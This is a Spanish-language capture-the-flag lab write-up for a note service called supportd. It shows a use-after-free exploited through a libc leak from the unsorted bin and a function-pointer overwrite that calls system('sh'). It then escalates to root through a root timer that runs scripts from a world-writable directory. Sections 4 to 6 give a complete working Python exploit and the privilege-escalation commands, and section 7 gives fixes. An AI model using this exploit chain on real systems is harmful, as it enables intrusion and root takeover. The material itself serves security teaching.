Support Desk · laboratorio 002 · difícil
De una fuga de memoria a root.
Un use-after-free de manual: el servicio libera el buffer y sigue usando el puntero. Sin la fuga del unsorted bin no hay nada que hacer; con ella, la cadena son veinte líneas de Python.
En una línea. free no anula el puntero, así que puedes leer memoria liberada (fuga de libc) y escribir en ella un struct task falso cuyo puntero de función apunta a system; la llamada pasa el propio buffer como argumento, y dentro del buffer está "sh".
1 · Reconocimiento
El panel te da una IP y un puerto: nc <ip> 1337. El servicio se presenta solo y lista sus comandos.
supportd 1.0 - consola de notas
comandos: open <size> | write <idx> <hex> | read <idx> | free <idx> | run <idx> | quit
Antes de explotarlo no tienes el binario: es un servicio en red y todo lo que deduzcas tiene que salir del protocolo. (Una vez dentro está en /usr/local/sbin/supportd, modo 0755 — el reto es llegar, no esconderlo.) Los datos van y vienen en hexadecimal, así que puedes mover bytes arbitrarios sin pelear con el terminal.
open 32 -> ok 0
write 0 4142 -> ok 2
read 0 -> 41420000... (los 32 bytes del bloque)
2 · El fallo
La pista está en lo que no hace free: libera el buffer pero deja la entrada de la tabla apuntando a él.
open 32 -> ok 0
free 0 -> ok
read 0 -> sigue respondiendo: el puntero está vivo
Y hay un segundo detalle: cada nota se interpreta como una tarea cuando usas run.
struct task {
char name[16];
void (*fn)(char *); /* recibe el propio buffer */
};
En una nota recién creada, name vale "note-0" y fn apunta a la función que imprime el nombre. Si reescribes ese bloque, reescribes el puntero de función.
3 · La fuga
El binario es PIE y la libc está aleatorizada: sin una dirección real, el puntero que escribas no vale nada. La buena noticia es que el montón te la regala si liberas un bloque mayor de 0x410 bytes y no dejas que se fusione con el top chunk.
open 2048→ bloque grande.open 32→ bloque guarda, para que el grande no quede pegado al top.free 0→ el bloque entra en elunsorted biny glibc escribe en sus primeros 16 bytesfdybk, que apuntan amain_arena+96.read 0→ ahí está la dirección de libc.
En esta imagen (Debian 13, glibc 2.41) la distancia es fija: main_arena+96 = libc + 0x1e5b20, y system = libc + 0x53090. Con una sola lectura ya tienes las dos. Los dos valores están comprobados contra la libc que corre en la máquina.
Si liberases solo un bloque de tamaño de tcache (< 0x410), lo que leerías sería el puntero ofuscado por safe-linking — otro ejercicio, pero no este.
4 · El control
El bloque sigue libre y sigue siendo tuyo: write escribe sobre memoria liberada. Coloca un struct task a medida y llama a run.
payload = b"sh\x00" + b"A" * 13 + p64(system)
# name[16] ^ fn en el offset 16
Al ejecutar run 0, el servicio hace t->fn(notes[0]->data): el primer argumento (RDI) es el propio buffer, o sea la cadena "sh". Es decir, system("sh") con la entrada y la salida del socket. Shell como support.
5 · La escalada
Dentro de la máquina, la segunda evidencia está en /root/root.txt. El camino aparece mirando lo que el sistema ejecuta solo:
systemctl list-timers --all | grep support
cat /usr/local/bin/support-tasks.sh
Hay un timer que cada minuto lanza, como root, todos los *.sh que encuentre en /var/spool/support-tasks — una carpeta que escribe cualquiera. Deja un script y espera:
echo 'cat /root/root.txt > /home/support/root.txt; chmod 644 /home/support/root.txt' \
> /var/spool/support-tasks/x.sh
sleep 70; cat /home/support/root.txt
6 · Exploit completo
Todo junto, sin dependencias más allá de pwntools opcional (aquí va con la librería estándar):
import socket, struct, time, re
HOST, PORT = "<ip>", 1337
LIBC_MAIN_ARENA = 0x1e5b20 # main_arena+96
LIBC_SYSTEM = 0x53090
s = socket.create_connection((HOST, PORT), timeout=10)
s.settimeout(0.5)
def drain(t=0.8):
s.settimeout(t); out = b""
while True:
try: chunk = s.recv(65536)
except socket.timeout: break
if not chunk: break
out += chunk
return out
def cmd(line, t=0.8):
s.sendall(line.encode() + b"\n"); time.sleep(0.15); return drain(t)
drain()
cmd("open 2048") # bloque grande
cmd("open 32") # guarda: evita fusionarse con el top
cmd("free 0") # queda en unsorted bin, con fd = main_arena+96
leak = int.from_bytes(bytes.fromhex("".join(c for c in cmd("read 0", 2).decode()
if c in "0123456789abcdef")[:16]), "little")
libc = leak - LIBC_MAIN_ARENA
print("libc base:", hex(libc))
cmd("write 0 " + (b"sh\x00" + b"A"*13 + struct.pack("<Q", libc + LIBC_SYSTEM)).hex())
s.sendall(b"run 0\n"); time.sleep(1.2) # system("sh")
s.sendall(b"cat /home/support/flag.txt\n"); time.sleep(1)
s.sendall(b"echo 'cat /root/root.txt > /home/support/r.txt; chmod 644 /home/support/r.txt' "
b"> /var/spool/support-tasks/x.sh\n"); time.sleep(75)
s.sendall(b"cat /home/support/r.txt\n"); time.sleep(1)
print(drain(2).decode(errors="replace"))
Los offsets son los de esta imagen. Si compilas tu propio servicio con otra libc, sácalos con readelf -sW libc.so.6 | grep system; el de main_arena cambia con cada versión.
7 · Cómo se arregla
- Anula el puntero al liberar.
free(p); p = NULL;y el 90 % de este reto desaparece. La tabla de notas no debería sobrevivir a su buffer. - No interpretes memoria del usuario como código. Un puntero de función dentro de un buffer que escribe el cliente es control de flujo esperando a ocurrir.
- Endurece el binario. RELRO completo, stack protector y
FORTIFY_SOURCEsuben el coste; el heap sigue siendo el heap, pero dejas de regalar la cadena. - Nada de ejecutar como root lo que escribe un usuario. El directorio de tareas debería ser del servicio, con
0700, y el ejecutor correr con el mismo usuario que atiende las notas. - Y de fondo: una fuga no es un fallo por sí sola; lo es cuando la memoria liberada sigue siendo legible y escribible desde tu API. La fuga solo te dice dónde estás — el fallo es dejar que decidas a dónde saltas.